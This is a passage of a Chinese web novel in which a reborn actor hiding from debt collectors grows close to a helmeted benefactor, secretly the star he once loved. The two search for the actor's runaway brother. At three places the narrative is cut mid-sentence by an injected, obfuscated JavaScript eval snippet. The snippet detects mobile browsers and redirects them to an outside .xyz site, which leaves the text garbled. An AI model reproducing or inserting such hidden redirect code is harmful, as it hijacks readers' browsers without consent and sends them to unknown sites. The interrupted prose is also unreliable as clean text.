离开家的时候,秦昕点开外卖软件,那边刚好签收了。 要是能时时刻刻和凡星联系就好了……念头一旦生成就控制不住,秦昕发现自己的忍耐度岌岌可危。曾经的他可以把自己关在房间里一个月,他不需要和外人说话,也不需要任何肢体接触。 但林凡星的到来改变了这一切。 确切地说,是真实的林凡星改变了他。 秦昕再骑上摩托车,双手居然开始发热,想到一会儿可以再见面,摩托车都变得格外好骑。下过雨的城市异常干净,清新,树叶都要变成半透明了,仔细看还能看出脉络。 路灯下的小商贩都那么有意思。 秦昕骑着骑着,慢慢停了下来,看向了小商贩。 林凡星在屋里吃了个肚儿歪,躺在沙发上起不来。其实他胃口不大,当明星一定要控制体重,今天中午是饿疯了才点那么多。窗外已经没了雨声,林凡星到阳台去换换气,这种老式小区的阳台一般都没人封窗,一抬头就是月亮。 月光照在脸上,林凡星第一次认认真真地看向星空。 其实星空并没有什么好看的,波澜壮阔的星海注定肉眼观测不到,能被发现的都是零零星星的平凡的小星星。现在他用手遮住右眼,左眼看着闪烁成片的夜幕,头一次发觉平凡的星星也有平凡的可爱。 原来能看到左半边是这种感觉。他几乎全忘了。 林凡星的左手在左太阳穴旁边晃晃,自言自语声如蚊呐:“有你真好,左眼。” 现在的义眼技术虽然足够发达,义眼的制作也接近于逼真,每一枚都可以定做。但肉眼观测不出真假不代表镜头观测不出,特别是在高清画面之下,眼睛是演员表达情绪的窗口,真假一看便知。 而损失了一只眼睛,无异于切断了林凡星的演戏生涯。要不是那部电影刚好需要那么一个义眼特型演员,林凡星这辈子只能当十八线龙套,拍流水线广告,然后为了一些有可能胜任的工作疯狂应酬。 他的酒量就是这样练大的,最后胃出血,这才开始惜命。但是没办法,娱乐圈就是“不红即原罪”,你不红,你吃的苦、受过的罪都是活该,哪怕已经进组,开机之前都可以随意换掉。 不红就没有尊严,连做人的基本自尊都无法满足。 一想到这里,林凡星眼前又出现了秦昕的脸。他不知道这算不算由爱生恨,真的有点恨他。不光是恨他欺骗感情,更是嫉妒他那么好的人生开局和事业基础。 羡慕嫉妒恨,林凡星算是走完了全部流程。 真是的,明明这么好的人生路,偏偏不做人。还好自己上辈子看清了他的本质,这辈子逃离苦海。林凡星正好回屋,忽然,听到了敲门声。 铛铛铛,铛铛铛,和外卖员的急促敲法很不一样,平静中带有规律,像是知道家里肯定有人,而且肯定会给开门。 但有过前车之鉴,林凡星不敢吭声,只是放轻脚步来到猫眼面前窥视。猫眼外头是一片漆黑,难道是有人故意挡住了? 是仇家?他们这么快就找上门了! 林凡星不由自主加快呼吸,鼻子贴在门上不敢挪开,生怕他一动就被外面的人发现。就在他手足无措时,黑色如退潮般撤下去,楼梯里微弱的灯光从猫眼四周挤入。 那黑色再退一步,原来是黑色的头盔靠猫眼太近,占满了观察范围。 “呼……”林凡星松了口气,开了门,“哥辛苦了,快进快进!” 他也不管恩人手里拿着多少东西,一把攥住手腕就是往屋里拉的大动作。刚好他的恩人脚下不稳,还没反应过来就进了屋,身后是干脆利落的关门声。 进屋太快,秦昕连准备一路的开场白都没用上,只能酷酷地干站着。 “发烧好了没有?”林凡星根本没注意到恩人的沉默,还记挂着他临走时发烧,伸手就摸他的脖子。 秦昕呆站在原地,低头看了看他的手。两个人又有肢体接触了,真好。 “还好,不烧了,但是你也要注意。”林凡星在唠叨中戳了戳他的肚子,“你得多吃饭,挑食可不行。” 秦昕憋了半天才憋出一句:“我不挑食……” “不挑食你这么瘦?别闹,一看你就是吃饭困难户。”林凡星接过他手里的大口袋,“我见过很多不爱吃饭的小孩儿,特别是夏天,要想身体壮就要先嘴壮。” 秦昕还站在门口,视线扫过林凡星的手,紧抓重点:“你见过很多?你见过很多人?什么人?” “很多啊,都是小孩儿。”林凡星把口袋打开,一眼看到了救星,“我的手机!太好了!” “你在哪儿见过那么多小孩儿……”没想到背后的人还不依不饶,仍旧追问。 口袋里不止是手机,还有新买的衣服和充电器。林凡星拿着充电线去找插线板,不经意间就把身世说了个彻底:“小时候我不在市里住,我在小县城,是个留守儿童。我们吃饭都是抢着吃,一眼看不住饭碗就没了。” 小县城?秦昕想象了一下,居然想不出来那是什么样。他没有出去旅游的经验,唯一出外景还都是在导演和执导的允许范围内活动。 正常的剧组采风,他从来没有参与过。 “我上了中学才进城,那时候我像个土包子,你一定不知道我有多土。”林凡星夸张地说。充电线接通手机,然而手机仍旧黑屏,十几秒之后才出现充电标识。 看来手机没坏,林凡星松了一口气,又问:“出租屋……是不是已经惨不忍睹了?” 秦昕用点头表示肯定。他没见过出租屋之前什么样,但他去的时候已经被洗劫一空。家里能砸的东西都砸了,林凡星跑掉了,那些人必定恼羞成怒,连防盗门都踹出一个包。 还好林凡星的手机掉在了床垫夹层,不然也难逃一劫。只是不太好找,秦昕差点没找到。 “有多土?”但秦昕忽略这个问题,而是回到了上一个问题。 “你这人……”林凡星将脚丫搭在了椅子上,那段岁月是他自认的黑历史,“你能想象……上学的时候班上其他男生都穿球鞋,我穿着拖鞋吗?” 秦昕想了一下,他想不出来。 “在乡下穿拖鞋穿习惯了,没人告诉过我大城市的学校不允许拖鞋入校。哈哈,不过都过去了,不提了。”林凡星沉默了半分钟,不知道在想什么。 “当时要是知道就好了。”半晌他又笑着摇摇头,“我去洗个澡,你要不要摘了头盔休息一下?” “不用,这样我很舒服。”秦昕敲了敲头盔,指了下浴室的方向,“你放心洗,我不会偷看。” “咱俩都是男的,我怕你看什么啊?”林凡星又是一笑,重生之后尽管活得不如意,但他仍旧很喜欢笑,比起上辈子已经是天胡开局。等到他进了浴室,秦昕也进了卧室,掀开头盔的护目镜透透气。 确实有点憋气。可是秦昕不想冒着被凡星讨厌的风险。 房间还是老样子,秦昕也是许久没来。这里是杨素留下来的老屋,那个女人,是秦昕目前生命中最温暖的光。从记事起杨素就在他身边了,是保姆,是月嫂,是阿姨,也是他心里对温柔和母爱的具象化。 只是好人不长命,杨素半年前死于癌症。在杨素去世之前,秦昕作为她病榻前的唯一亲人,犹豫再三,问出了他心底从来不敢正视的问题。 “杨妈妈,您能不能告诉我,我到底……是谁的孩子?” 怀疑的种子早在心间发芽,秦昕本能地相信杨素一定知道什么。然而杨素恋恋不舍地看着她亲手带大的孩子,眼泪顺着眼尾流到了枕头上。 “小昕,你记住,不管你是谁的孩子,你都是一个好孩子。还有,别怪夫人。” 秦昕记住了她的遗言,也是她下葬那天唯一到场的人。她把这房子留给了他,像未卜先知,给他留下了一个藏身之处,可以暂时藏着一颗星星。 林凡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900710|176614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星可算洗了一个舒服的热水澡,洗掉了这一身雨水留下的气味。换上干净衣服,他擦着头发回到客厅,刚好看到恩人进屋,手里拎着刚刚外卖小哥送上门的生活用品。 这感觉真奇怪,真成了出租屋金丝雀了。林凡星再看手机,已经能开机了! 有了手机他就能联系一切,第一件事,林凡星联系了赵小白。 小白:“我靠哥们儿你怎么了,找你也找不到,我还以为你出事了呢!” 林凡星发文字过去:[说来话长,总之我现在没事了。对了,最近有什么好工作吗?帮我介绍介绍!] 按照原本的时间线,赵小白要在一年之后才正式成为他的助理,那时候林凡星也签约了盛玺文娱。现在林凡星动动小手,把时间线往前拨一拨。经历了娱乐圈的沉沉浮浮,林凡星遭遇了好几个吃里扒外的助理,赵小白是个例外。 上辈子走弯路,他还和赵小白吵了几次,对不起了兄弟。 小白:[你不是说最近你都不接活儿了吗?] 林凡星一开始准备躲着债主,不敢出面,现在他必须得赚钱,能还上一些就还一些。 林凡星:[改主意了,接!什么都接!特别是《U然星刊》的那个内页。] 小白:[你不是说不喜欢那个刊吗?] 是,上辈子是不喜欢,还顶看不上。但谁能想到下一期《U然星刊》的大封面是赵殷昂呢。那可是上一代著名大青衣赵以唯的独生子!赵殷昂直接带火了那一期U然的发行量,冲破了天际! 而那一期没人看得上的内页,自然成为了U然发刊历史上的含金量之最。 小白:[好,U然的那个编辑是我同学,我一约就能给你约上。不过他们这个刊真的够倒霉,每次都差点运气,请不到一线。先说好,这个内页可不值钱,最多最多能给你两三千的救火费。] 林凡星:[我给他们两三万都行,给我约上!] 工作安排搞定,接下来林凡星就开始思考他那个找抽弟弟的藏身之处了…… 而不远处的秦昕也在联系方飞宇。 方飞宇:[股票我没抛啊,你不懂股票我怎么敢听你的。还有你刚才说的那个事我觉得不靠谱,U然一直不行,你去了会掉咖位。] 秦昕只想摘了头盔猛按人中,这小子就是不听劝,不割肉不知道疼。 秦昕:[你帮我约吧,我挺看好这个刊。] 方飞宇:[也行……反正U然的编辑是我朋友,你说你去,他们都得痛哭流涕。但是给你的价肯定不会太高,达不到10这个数。] 秦昕:[帮我约。] 约完之后,秦昕一抬头就看到正对着手机发愁的林凡星。 他冷酷地走了过去,冷酷地坐在了对面。 “我找不到我弟了。”林凡星没辙的时候什么都往外抖落,反正对面这位也不是圈内人,说了他也不知道自己弟弟是谁。 秦昕想了想,装作不经意地提议:“在父母家?” “不会。”林凡星上辈子就回家找过,没有。 秦昕又说:“离家出走的人一般不会走太远,有可能在同学家里。” “同学……同学?”林凡星忽然站了起来。对,同学,繁星他好几个同学都在本市,有没有可能他躲人家那里去了? “如果要找你弟弟,我可以帮忙,跟着你一起去。”秦昕不经意地直了直上半身。 “可以啊,多个人帮忙肯定是好,哥你别着急,我之后拍了广告就能拿几千,到时候给你几百。”林凡星话音刚落,手机开始疯狂地震动。 新消息人是……小昕。 差点忘了!现在自己和秦昕还网聊着呢!林凡星拿过手机,点开了秦昕那王八蛋的聊天页面。 小昕:[凡星哥,前天和昨天你为什么不理我了?是我哪里做错了么……] 秦昕看他拿手机拿那么快,明显不悦地问:“谁找你?” 11. 爆金币 “一个朋友。我先处理一下。”林凡星脱口而出。 王八蛋你还有脸找我?你要是不找我,我都快忘记咱俩这时候正暧昧期呢!林凡星拿着手机进了厨房,平复过的心情再次掀起惊涛骇浪。他靠在冰箱门上,老式冰箱的制冷震动给后背带来一片麻痹。 心口针扎一样。 还是会难过。毕竟是他付出过两年真心的人。人的爱有滞后性,其实恨也有,但最复杂的还是爱恨交织。如果感情能收放自如,那么世间哪有那么多痴男怨女。 林凡星喝了一杯水,刚才那心悸的错觉才过去,动动手指回复:[因为忙。] 以前他可不是这样给秦昕回消息的,秦昕那边问一句,他恨不得把今天都做了什么全盘托出,分享他每一分钟的喜怒哀乐。他的爱意太明显,太浓烈,才会让秦昕觉得唾手可得,不止不珍惜,最终还踩进了泥巴里。 要不是他突然发来的那条消息,林凡星不一定会飞出高架桥。 但命运决定一切,回来了更好。 或许是林凡星的回应出乎意料,态度也异常冰冷,秦昕那边秒回了一条:[凡星哥在忙什么,可以告诉我吗?] 嚯,还“可以告诉我吗”?以前你这样问过我吗?林凡星先是自嘲地笑了一声,凡星啊凡星,记住,以后现实中离秦昕远一点。 [可以啊,v我500看看实力,我就告诉你。] 这是林凡星第一次开口和秦昕要钱,放在从前绝无可能!他怎么能和偶像要钱呢,提钱不就污染了他们的感情吗?他以前生怕秦昕误会自己是看上他的名气和资源,从不敢提一句物质,别说要钱,林凡星还主动给秦昕发红包。 天气太热,发一个买饮料。天气太冷,发一个买蛋糕。天气不冷不热,发一个,祝你今天开心。 现在别说是要钱了,就算秦昕站在面前说他要拍电影,林凡星也敢叉着腰要求:“让我当男一号,否则我在网上挂你!” 小昕:[?] 秦昕那边先是回了一个问号,林凡星懒得回复,不想再做主动挑起话题的那个人。然而下一刻手机就震动起来,一个红包发了过来。 小昕:[我只希望你开心。] 苍天啊!这是什么?秦昕给他发红包了?这孙子居然还会爆金币?林凡星看着手机屏幕仿佛见了鬼!但震惊他的事情还不止这一件,手机再次震动,一段小视频发了过来。 “凡星哥,收下吧,别不理我。” 小视频中的秦昕应该是在家,身穿舒适的家居服,刚刚洗干净的头发吹得乱糟糟。那双没有代餐的丹凤眼就是他最大的标志,在大屏幕上大放异彩。 比起他母亲乔莲的眼波流转,秦昕的视线是青春的,还不懂如何用眼神勾人心魄,但偏偏就是这样不太熟练的对视容易让人卸下心防,降低警惕,一不留神就掉入他的陷阱。 以前林凡星会认真保存他的每一条视频,现在他不再为他费心思。 林凡星没有回复,转手领了红包,虽然只是500块,但这也算是自己第一次从秦昕这个铁公鸡手里薅到小金币了! “什么朋友?哪个朋友啊?”不等林凡星放下手机,戴着头盔的恩人径直走进厨房。当他问完这句话,林凡星很明显关上了屏幕,将手机揣进了兜里。 秦昕看着他存放手机的裤兜,凭什么?凭什么凡星的其他朋友可以和他发消息? “就是一个助理,我让他帮我找找工作。我想好了,出去工作的时候都是公开场合,那些人不敢明目张胆找我。再说,他们的目标也是还钱,不是杀了我。”林凡星挠了挠后脑勺,忽然绽放出笑容,“哥,你想不想吃冰棒?” 冰棒?秦昕有些跟不上凡星的思路:“不吃,我肠胃弱。” “那好吧,唉,我想想你有什么能吃的……”林凡星就是这么个性格,谁对他好,他就想着报答。两人回到客厅,这名叫“飞哥”的恩人又从口袋拿出一个小风车,犹豫着站在桌边。 “给我买的?”林凡星眼睛一亮。 “嗯。”秦昕将风车递给他,“来的路上,在小商贩那里买的。金鱼风车能转运,送你……” 红色的小金鱼是纸糊的,做工也较为粗糙,身价5块。林凡星却欢欢喜喜地接过来,举着它转了一圈:“就是这个!我以前在乡下还会自己做呢!” 秦昕的手指动了动,想说一句“你喜欢就好”,然而最终什么都没说出来。 因为体质虚弱的关系,秦昕不能久留,赶在10点半之前就回了家。方博仍旧给他送来了药,秦昕还是倒得一滴不剩,因为他知道自己根本就没有病。 他的病,是家庭医生和母亲一手制造的假象,是他们一直让他坚信自己病了。 临睡之前,秦昕犹豫再三才给林凡星发了他们的第一条消息:[我要睡了,晚安。] 凡星:[快睡快睡,现在你最需要好好休息!] 秦昕的微信号没有朋友圈,始终关闭着,头像就是他小时候养过的杜宾犬,它的名字叫嘟嘟。看起来是一个非常无聊的人吧……秦昕第一次这样觉得,别人的朋友圈都多姿多彩,自己这么枯燥,怎么能吸引一颗星星的注意? 思来想去,秦昕破天荒地开了朋友圈。14岁就知道怎么演戏的人却不知道怎么发表他的第一条,这可把他给困住了。发自己的照片肯定不行,凡星最讨厌的人就是他了,那么发一句话? 会不会显得太文艺、太矫情? 辗转反侧,秦昕陷入了一阵漩涡,漩涡名叫“为情所困”。从前他只当林凡星是心头的执念,是他为数不多的快乐,也是对他伸出友好小手的陌生人。现在接触之后秦昕的执念成为了更为可怕的东西…… 欲.望。 林凡星为什么不能只是他的? 执念升级速度太快,连秦昕都始料未及。真实的林凡星好有趣,好有意思,哪怕目前生活困顿他都是喜欢笑的人。一串烤鱿鱼就足够他眯眼品尝,他吃饭的时候喜欢把脚踩在凳子腿上,在沙发上的时候又喜欢盘着腿。 他不会嫌弃5块钱的小风车,他知道清凉补多么好喝,他还要给一个陌生人买冰棒……从小到大一直半死微活的秦昕哪里见过生命力这么旺盛的人类,他都怀疑林凡星是外星来的,明明都是人类,为什么他有那么大的心气儿? 想要林凡星,想把他变成自己的,不想除了自己之外的任何人找到他,分享他的笑容。秦昕忽然翻身下床,从小背包里翻出一件短袖黑T恤。 这是他从林凡星出租房拿出来的衣服,那些人把林凡星的衣柜洗劫一空,唯独这一件不值钱的上衣逃过一劫。秦昕将它叠好,放在了枕边,摸着T恤卷成的黑色长方块儿,把它当成了凡星。 “晚安。”秦昕还拍了拍它,最后用手机拍摄了一张照片,忐忑不安地发了朋友圈。 林凡星刚翻出一个金属饼干桶,一开始他还以为这里存放的肯定是过期饼干,费了九牛二虎之力打开,里面是几十个花花绿绿的线卷。 看来没猜错,这里的屋主绝对是一位老年女性,热爱生活喜欢养花,会囤药,还会囤针线盒。林凡星虽然没见过人家,但好似隔空和她打了个招呼,谢谢您的房子啊,我短暂住住就走。 临睡前再刷刷朋友圈吧……林凡星打开手机,朋友圈刚好有人更新,就是顶着杜宾犬头像的飞哥。飞什么哥啊,林凡星改了他的备注。 小飞:[晚安,会有好梦。] 附图是枕头,白色的床品四件套倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900711|176614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是和恩人一身黑的第一印象不太相同。但白色的枕头旁边有一个黑色的……毛巾卷? 林凡星将照片放大瞧瞧,一时半会儿没瞧出那到底是什么。他先点了个赞,给恩人一颗小红心,又按耐住旺盛的好奇心。算了,不用问,那一定是小飞的阿贝贝! 真是小孩儿,睡觉还要阿贝贝陪着。林凡星想了想他的阿贝贝,真想抱着一笔天降巨款入眠啊。 第二天傍晚,方飞宇又看到秦昕推他摩托车要出去。 “等等!”方飞宇不想看着兄弟堕落,“你又去找金丝雀?她到底是谁啊?” 秦昕不止戴好了头盔,手里还拎着一个:“你抛了么?” “你最近干嘛总催我抛,我在网上研究大盘了,专家说还能再涨2000点。”方飞宇一把拉住他,“不准去!” 秦昕叹了一声,看来飞宇不割肉出血是不会听话,也好,让他先小亏一笔,这样他就老实了。“为什么不准我去?” “我怕外头那个金丝雀把你榨干,万一我爸给你诊脉诊出肾虚,多丢人……”方飞宇摇摇头,“再说就算你这两年半息影,好歹也是最年轻影帝,说出去也是响当当人物,U然的老板特意给我打电话,说让我谢谢你‘光临寒舍’。万一你让人拍下照片、留下证据,以后你还怎么拍戏?” “我倒是希望留下证据呢,人家不拍我。”秦昕冷不丁地抱了一把方飞宇,“飞宇,你信不信我?” 方飞宇一怔,异样感涌上心头:“信啊……我怎么觉得你最近怪怪的,和以前不一样了。” “信我就听我的吧,我……我不会害你。”秦昕用头盔撞了下他的额头。 如果自己的推测没有问题,他和方飞宇……其实是同父异母的兄弟。没错,他怀疑自己的亲生父亲其实是方博。 方博很早就离了婚,上辈子母亲去世之前他看到方博和乔莲紧紧相拥。真可笑,真讽刺,亲生母亲不喜欢自己,亲生父亲就可以从小给他们的孩子下药,药到他身体虚弱,很长一段时间必须卧床修养。 “我出去了,你一定记得我的话。”秦昕又拥抱了一把飞宇,这辈子我绝对不让你再出事,我好好的,你也得好好的。 林凡星在家列出了弟弟的好同学列表,其中有3个人是重点怀疑对象,还都是他认识的,一会儿就挨个找。等到门被敲响,他像等了金主一整天的金丝雀欢快地奔去,看一眼猫眼,立马开门。 “你吃饭了么?”秦昕今天在路上买了零食。 “吃过了,我自己买了点心。”林凡星拉人进屋,关门,“特意给你买了一份好消化的桂花糯米糕!” “给……我?”秦昕愣了一下,“你哪来的钱?” “我朋友给的生活费。”林凡星当然不能告诉他是从秦昕手里要来的红包,“你昨天说你肠胃弱,那个就很适合你。对了,我还做了一个小玩意儿……” 他拽起恩人的右手腕,快速地套上一个小东西。 秦昕好奇地抬腕注视,喜悦之余还有震惊:“你做的?” 那是一个手编的手链,用了红色和金色两种线。细线被拧成粗线,红金交织,活扣还可以调解松紧。林凡星得意地拍拍胸口:“当然,我以前在乡下学的,每个小妹妹都收过。这个活扣的样式叫平安扣,是八股线,我现在又没什么东西送你,只能凑合了。” 秦昕将手链摸了好几圈:“真给我了?” “对啊,晚上你回家记得带上桂花糕,可好吃了。”林凡星叉着腰笑了笑。 没想到啊,拿着秦昕的钱给别的男人买糕点,真爽。这辈子可千万不能再给秦昕花钱了! “你还想喝清凉补吗?咱们路上喝?”刚这样想完,林凡星又给恩人买了个饮料。 12. 两颗星星 再次坐上摩托车,林凡星有了一模一样的头盔。 “等一下等一下,你的清凉补我给你拿着。”林凡星还不忘记拎着饮料。 “那你怎么搂我?”秦昕现在觉得饮料很碍事。早知道刚刚喝完它。 “嘿嘿嘿,我揣怀里。”林凡星找到了最优解,他的声音也困在头盔中,失去了几分真实。这么热的天,最近还总是雷暴雨极端天气,他很担心小飞一不小心中暑昏倒。 万一他真的晕了,林凡星就决定惦着脸去威胁秦昕,让那位影帝多出点血,要出钱来救恩人。 真是绝佳的计划,这辈子他要用秦昕的钱养别的男人。在这种心情下林凡星再次搂住小飞,上一次坐摩托是生死时速逃难,这一次是轻装上阵。 摩托慢慢开动,林凡星忍不住侧过头,用头盔的右侧方贴靠在小飞并不强壮的后背上。 两个人都弓着腰,收着双腿,身体的弯曲程度如出一辙,是完美的复制。林凡星不知道这算新生还是逃难,就这样住在一个陌生人的房子里,让他载着自己东跑西窜。 比任何电影都刺激,都离谱。 车速不快,秦昕这次也没有特意加速超车,只想把他们独处的时间拉长。他居然载着一颗星星,全世界谁能相信这个幸运儿会是自己?林凡星真的在后面,还给他带着一会儿喝的饮料。 右手腕上,象征着“出入平安吉祥如意”的手编手链箍着他的腕口,成为了秦昕身体之外的血管。从此形影不离。 绿灯行,红灯停,等红灯的时候,秦昕活动着右手腕,忽然明白那些青春校园小说里的男主角为什么会喜欢戴女朋友的小皮筋了。 确实好看,确实应该戴着。小皮筋的位置不可动摇。 “飞哥,咱们一会儿能不能快一点?”林凡星掐了掐他的肩膀。 有事“飞哥”,没事“小飞”,区别对待这一块算是让林凡星玩明白了。 单单是这样一掐,秦昕整面后背仿佛有微电流滑过去,扫过一片颤栗。他痛恨自己为什么这么不稳重,只是摸了肩膀就这么激动,也为这种不稳重而无措。 “你想多快?”秦昕的手捏紧了车把。 “也不用太快,就是比刚才快一丢丢就好。我想吹吹风!”林凡星开心地掀起护目镜,“这是我第二次坐摩托车!你车技又这么棒!” 隔着一层护目镜,秦昕和他的双眼打了个近距离的招呼。林凡星笑眼弯弯,有些长的刘海儿挡住了他的眼尾,可是哪怕秦昕和他隔着护目镜仍旧能看出他眼里的光芒。 “那你抱紧我。”最后秦昕不自觉地挑起嘴角,压也压不下去,“要很紧,很紧,才行。” “好耶!呦吼!”林凡星两手搂紧,紧到他开始担心清凉补会不会被他们的双面夹击挤碎。前方红灯一闪,变成绿灯,他的探险穿梭正式开始,身下摩托堪比星船。 在安全的大前提下,秦昕将车速提到了最快,带着星星风驰电掣,开始圆他们的梦。 现在林凡星相信他们真的在“逃亡”了,上衣被空气灌满,留下了风的形状。林凡星兴奋地大喘气,手臂不知不觉中就将前面的人当成了依靠,拐弯时林凡星甚至闭上了眼睛,深刻体会肾上腺素疯狂分泌的刺激。 好玩儿,真好玩儿。一直都是给别人当哥哥的林凡星头一次被人宠了一把,心想事成。 车速也不是一直这么快,毕竟秦昕可不想出任何差池。当他们抵达第一位同学的家庭住址时,秦昕忽然很痛恨林繁星,为什么你不跑远一点呢? 要么让你哥哥永远找不到,要么就路途遥远足够我和凡星单独相处十天十夜。现在怎么这么快就到了?你会不会藏? “先去林晓家里找吧。”林凡星还没坐够,意犹未尽地下了车,“我去找他,你在这里等我,把饮料喝了。” “我跟你一起。”秦昕接过了饮料,也牢牢跟上了他。 好吧,林凡星是想让他歇一会儿,毕竟林晓家不一定藏着人,一会儿还要再跑两家。目之所及也是一片老城区,恩人又是一身黑色,走在光线不足的地方直接隐形了。 林凡星的衣服不太合身,都是临时买的。米色的九分裤在他身上就是七分吊脚裤,露着小腿、脚踝和普通帆布鞋。上衣则是大了一码,松松垮垮地套在身上。走在灯下,布料被灯光穿过变成半透明,林凡星的轮廓也一览无余。 很瘦。秦昕又看到了,马上微微垂下了头。 下次就知道给凡星买什么样的衣服好看,什么号码合身。 “喂!干什么的!” 不知道从哪里蹿出两道不善的人影,摆明是早早等在这里,守株待兔。林凡星下意识一震,只当催债的已经杀到眼前,但看清之后紧绷的双肩不由自主松懈下来。 “你们干嘛的?”林凡星反其道而行,丝毫不怵。只是给身后的人打了个手势,示意“别过来”! 秦昕所站的地方刚好是阴影,将他藏了个九成,只有护目镜表面反射着乌光。林凡星又往左侧移了一小步,刚好将这一闪的乌光也挡住了。 “呦呵,胆子挺大啊,有烟给烟来一根儿,有钱给点儿花花?”出来的两个人都是瘦子,径直朝着开口说话的人走去。林凡星将他们上下打量了几遍,从体型到身高都看了个遍,大概就明白他们是什么人了。 小地痞流氓,还冒着酒气,想找他们要过路费。 “没钱,闪开!”要是自己一个人走,林凡星大可以拔腿就跑,不选择硬碰硬。可是身后还带着一个,林凡星不得不重新做打算,小飞肯定是跑不快那一类,真打起来他也帮不上忙。 何止帮不上忙,这些人只要看到他,就清楚他可比自己好欺负得多。 “嘴这么硬?哪儿跑出来的?我警告你,今天你……”另外一个瘦子打了个酒嗝,左手捂了捂嘴,右手朝眼前的愣头青肩膀一搭。这愣头青和他们差不多高,也没有多壮,白白净净的小脸蛋儿不像个脾气爆的人。 怎么看都是个软柿子,还是生面孔,不是附近的人。都说酒壮怂人胆,借着酒劲儿,瘦子的手往愣头青的后脖子移动,想要震慑他,来一个捏脖子的姿势。 秦昕控制不住地往前移了半步,松弛的右拳开始蠢蠢欲动。然而不等他动,下一秒那瘦子整个人飞了起来,在天空中画了个半圆形! 林凡星先是捏住他的肘内侧,顺着他的小臂往下捋,虎口刚好紧扣住他的腕口。大拇指生生往下抠,按住他腕口最为柔软的位置,几乎要按下去一指的深度。手腕吃不住这么大的力气和酸疼,仿佛被卸掉主心骨,林凡星迅疾有力地撤了右脚,紧致的侧腰也跟着朝后拧动,右手冷不丁地将瘦子拽向肩头。 他最后一弯腰,用后背顶起那人的身体。 等瘦子反应过来,过肩摔已经快要落地了! 一声闷响,他被人足足甩了半圈又灰败地抡到地上,泊油路接住了他,从后背到尾巴骨一整条都没有落下,将他磕得全身麻痹酸疼,只能蜷在地上哀嚎。 林凡星这才松开手,抬头朝着另外一个瘦子瞪去,那人反而退后两步,头也不回地跑掉了。 “就这点本事……”林凡星嗤笑一声,站起来后掸了掸裤子,朝着身后深渊一般的黑暗喊道:“好啦!咱们走吧!” 躺在地上的瘦子还在痛苦万分地扭动,也是听到这句话才看向角落。那边的人像浮冰一样森然冷漠地冒出来,走到他旁边时蹲下,显然是在看他。 “好汉饶命!好汉饶命!”瘦子都被抡懵了,直到现在眼前都在飘金星。 “走啦走啦,没什么可看的。”林凡星上手拉起恩人,还不忘记叮嘱,“这种人最怂,一般都是灌完酒出来闹事。以后你在路上遇到他们可要绕道走,你家小区里没有吧?” 秦昕的拳头到现在才彻底松开,他家小区别说是小流氓了,路面上都见不到多少人。“我家小区……挺危险,每天都战战兢兢。” “啊?那你骑车别让他们盯上。”林凡星担心地拍拍他,原来小飞也是水深火热里的同命相连。 秦昕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900712|176614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟着他继续往前走,有很多的事情想要问他,比如你为什么非要找林繁星。但话到嘴边,秦昕忍不住好奇:“你的身手怎么这么好?” 林凡星哈哈一笑,半隐瞒半笼统地告诉他:“在剧组里学的,干我们这一行什么都要学。” 那是上辈子的事了,电影开拍之前林凡星档期很空,而他出演的那个角色刚好有动作戏。索性他什么都没干,跟着剧组的武行练了几个月。只不过他的付出没有得到应有的收获,电影成片他看过,他的打戏被剪到只剩下3个镜头。 练了几个月,拍摄期间每天摔得鼻青脸肿,浑身瘀紫,无论是车上戏还是追逐戏都是他亲力亲为完成。但是没有办法,电影肯定要力捧主力,要吸引票房,别说打戏被剪掉,就算他的戏份拍完了被全部剪掉,林凡星都只能说一句“其实也挺走运”。 毕竟他拿到片酬了呢。 “走吧。”不想提那些事了,林凡星现在专注眼前。 秦昕能听出他的失落,也就不再多问。 林晓的家在3层,是林凡星亲自敲门。开门之后林晓也非常意外:“凡星哥?你怎么来了?” “我弟在不在你家里?”林凡星往里张望。 “啊?你说小星啊?”林晓干脆让开门口的位置,“凡星哥你自己进来找吧,他不在我家。” 这兄弟俩的名字是同音,为了在聊天的时候区分他们,大家都习惯叫“大星”和“小星”。只是林晓最近真没见过林繁星,这人跟人间蒸发一样,别说凡星哥找,他都想找。 林凡星也很不客气,既然让他进了他就去找,翻了一圈后确定没有。 “凡星哥,你要是找到他了,让他给我们回个电话。”临走的时候林晓还不忘加了一句。 “放心,等我找到他就先揍死他。”林凡星有几分大义灭亲的架势。 林晓点了点头,只要凡星哥一句话他们就放心了。也就是这一刻,他才发现楼道远端还站着一个人,静默地看着他们这边。 那人虽然戴着头盔,可林晓相信自己的预感,他一直紧盯自己不放,目光像蛇一样紧紧跟随,让他不寒而栗。 奇怪,这人是谁啊?林晓赶紧关上了门。 